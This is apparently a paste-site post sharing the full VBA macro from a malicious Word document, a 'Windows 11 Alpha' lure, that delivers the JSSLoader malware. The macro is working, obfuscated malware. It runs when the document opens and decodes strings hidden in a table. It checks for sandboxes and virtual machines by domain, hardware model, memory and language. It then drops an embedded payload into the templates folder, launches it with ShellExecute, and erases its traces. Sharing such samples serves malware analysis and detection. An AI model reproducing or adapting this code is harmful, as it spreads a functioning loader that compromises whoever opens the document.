cs0sf icon

Windows 11 Alpha Document lure used to deliver JSSLoader

cs0sf | PRO | 06/30/21 09:14:05 PM UTC | 0 ⭐ | 8242 👁️ | Never ⏰ | []
VisualBasic |

5.3 KB

|

None

|

0 👍

/

0 👎

' https://twitter.com/mesa_matt/status/1409935724737085442
Option Explicit
 
Option Compare Text
 
Private Declare PtrSafe Function DYjwp8xLU8 Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 
Dim AEBirCjVh As String
 
Dim htTnYAV3MKe As String
 
Private Sub Document_Open()
    
    If glxoug1eUMM Then
        
        Dim GDm9 As String
        
        GDm9 = Options.DefaultFilePath(wdUserTemplatesPath)
        
        If Dir(GDm9 & boYLmeiRpt((2 * 6 - 9))) = "" Then
            
            Call LVXy
            
            Call E5p06tYoZfv
            
            If Len(htTnYAV3MKe) > (8 * 3 - 22) Then
                
                Call dUA5Vi(htTnYAV3MKe)
                
                DYjwp8xLU8 (6 * 3 - 18), vbNullString, Options.DefaultFilePath(wdUserTemplatesPath) & boYLmeiRpt((8 * 1 - 5)), vbNullString, vbNullString, ((6 * 8 - 47))
                
            End If
            
        End If
        
        Call oh7iBSdM
        
    End If
    
End Sub
 
Sub E5p06tYoZfv()
    
    Dim akI5a
    
    akI5a = Options.DefaultFilePath(wdTempFilePath)
    
    Dim aFNVaZgl3w As Object
    
    Set aFNVaZgl3w = CreateObject(boYLmeiRpt((7 * 2 - 12)))
    
    Call TkFqCJl(aFNVaZgl3w.GetFolder(akI5a), htTnYAV3MKe)
    
End Sub
 
Function boYLmeiRpt(VrLGSGK) As String
    
    boYLmeiRpt = ThisDocument.Tables((9 * 7 - 62)).Cell(VrLGSGK, (5 * 7 - 34)).Range.Text
    
    boYLmeiRpt = yRlihwO2c(Mid(boYLmeiRpt, (2 * 3 - 5), Len(boYLmeiRpt) - (7 * 2 - 12)))
    
End Function
 
Sub LVXy()
    
    Dim D18oyHlA As InlineShape
    
    For Each D18oyHlA In ThisDocument.InlineShapes
        
        If D18oyHlA.Type = (6 * 3 - 17) Then
            
            D18oyHlA.Select
            
            Selection.Copy
            
        End If
        
    Next
    
End Sub
 
Sub dUA5Vi(vJJoW79vg5L As String)
    
    Dim xzkuDRi As String
    
    xzkuDRi = Options.DefaultFilePath(wdUserTemplatesPath)
    
    Name vJJoW79vg5L As xzkuDRi & boYLmeiRpt((9 * 4 - 33))
    
End Sub
 
Sub oh7iBSdM()
    
    On Error Resume Next
    
    Dim D18oyHlA As InlineShape
    
    For Each D18oyHlA In ThisDocument.InlineShapes
        
        If D18oyHlA.Type = (2 * 1 - 1) Then
            
            D18oyHlA.Delete
            
        End If
        
    Next
    
    ThisDocument.Tables((8 * 5 - 39)).Delete
    
    Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend
    
    Selection.Copy
    
    ThisDocument.Save
    
    End
    
    On Error GoTo 0
    
End Sub
 
Function glxoug1eUMM() As Boolean
    
    On Error Resume Next
    
    Dim TkNe5eSQd As String, UE24rgsZ As Object, ftW6, nQOVKfUOld As Object, LC4k As Object
    
    Set UE24rgsZ = CreateObject(boYLmeiRpt((7 * 4 - 23)))
    
    TkNe5eSQd = UE24rgsZ.UserDomain
    
    glxoug1eUMM = True
    
    If TkNe5eSQd = boYLmeiRpt((2 * 9 - 12)) Then Exit Function
    
    Set ftW6 = GetObject(boYLmeiRpt((1 * 6 + 1)) & TkNe5eSQd & boYLmeiRpt((8 * 5 - 32)))
    
    If (VarType(ftW6) <> vbObject) Then Call oh7iBSdM
    
    Set nQOVKfUOld = GetObject(boYLmeiRpt((8 * 3 - 15)))
    
    For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((5 * 5 - 15)))
        
        If DS4nRhaBlr(LC4k.Manufacturer, LC4k.Model) Then Call oh7iBSdM
        
    Next
    
    For Each LC4k In nQOVKfUOld.ExecQuery(boYLmeiRpt((1 * 2 + 9)), , (11 * 12 - 84))
        
        If LC4k.TotalVisibleMemorySize < (250844 * 321836 - 80726529584#) Then Call oh7iBSdM
        
        If InStr(1, boYLmeiRpt((1 * 4 + 8)), CStr(LC4k.OSLanguage)) > (1 * 1 - 1) Then Call oh7iBSdM
        
        If InStr(1, Join(LC4k.MUILanguages, ","), boYLmeiRpt((5 * 5 - 12))) > (9 * 4 - 36) Then Call oh7iBSdM
        
    Next
    
    If InStr(1, Join(CreateObject(boYLmeiRpt((6 * 6 - 22))).regRead(boYLmeiRpt((2 * 2 + 11))), ","), boYLmeiRpt((4 * 2 + 5))) > (1 * 5 - 5) Then Call oh7iBSdM
    
    On Error GoTo 0
    
End Function
 
Sub TkFqCJl(hkSNkpx52q As Object, vJJoW79vg5L As String)
    
    On Error Resume Next
    
    Dim mk5JvykXa As Object
    
    For Each mk5JvykXa In hkSNkpx52q.SubFolders
        
        TkFqCJl mk5JvykXa, vJJoW79vg5L
        
        Next mk5JvykXa
        
        Dim Xs2YF2R8 As Object
        
        For Each Xs2YF2R8 In hkSNkpx52q.Files
            
            If Xs2YF2R8.Name = boYLmeiRpt((6 * 9 - 50)) Then
                
                vJJoW79vg5L = Xs2YF2R8
                
            End If
            
            Next Xs2YF2R8
            
            On Error GoTo 0
            
            Exit Sub
            
            ErrHandle:
            
            Err.Clear
            
        End Sub
        
        Function DS4nRhaBlr(Ei5aCGrSkJ, rjcwM53rRoE)
            
            Dim fbajQ, mkD9R As Long, klsLJL4OLr As String
            
            fbajQ = Split(boYLmeiRpt((2 * 8)), ",")
            
            For mkD9R = (7 * 1 - 7) To UBound(fbajQ) - 1
                
                klsLJL4OLr = fbajQ(mkD9R)
                
                If InStr((8 * 1 - 7), Ei5aCGrSkJ, klsLJL4OLr) > (4 * 9 - 36) Or InStr((9 * 2 - 17), rjcwM53rRoE, klsLJL4OLr) > (6 * 6 - 36) Then
                    
                    DS4nRhaBlr = True
                    
                    Exit Function
                    
                End If
                
            Next
            
            DS4nRhaBlr = False
            
        End Function
        
        Function yRlihwO2c(cmMj6EeRAmG)
            
            Dim PdEN As String, klsLJL4OLr As String, mkD9R As Long, m4sKGWmIY0 As Long, fbajQ, Qqz0g9zhpj
            
            PdEN = ThisDocument.Tables((6 * 8 - 47)).Cell((2 * 7 - 13), (4 * 9 - 35)).Range.Text
            
            PdEN = Mid(PdEN, (2 * 5 - 9), Len(PdEN) - (4 * 9 - 34))
            
            m4sKGWmIY0 = 1
            
            fbajQ = Split(cmMj6EeRAmG, ",")
            
            For mkD9R = (8 * 4 - 32) To UBound(fbajQ) - 1
                
                Qqz0g9zhpj = Chr(CLng(fbajQ(mkD9R)) - Asc(Mid(PdEN, m4sKGWmIY0, 1)))
                
                klsLJL4OLr = klsLJL4OLr + Qqz0g9zhpj
                
                If m4sKGWmIY0 = Len(PdEN) Then
                    
                    m4sKGWmIY0 = 1
                    
                Else
                    
                    m4sKGWmIY0 = m4sKGWmIY0 + 1
                    
                End If
                
            Next
            
            yRlihwO2c = klsLJL4OLr
            
        End Function

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎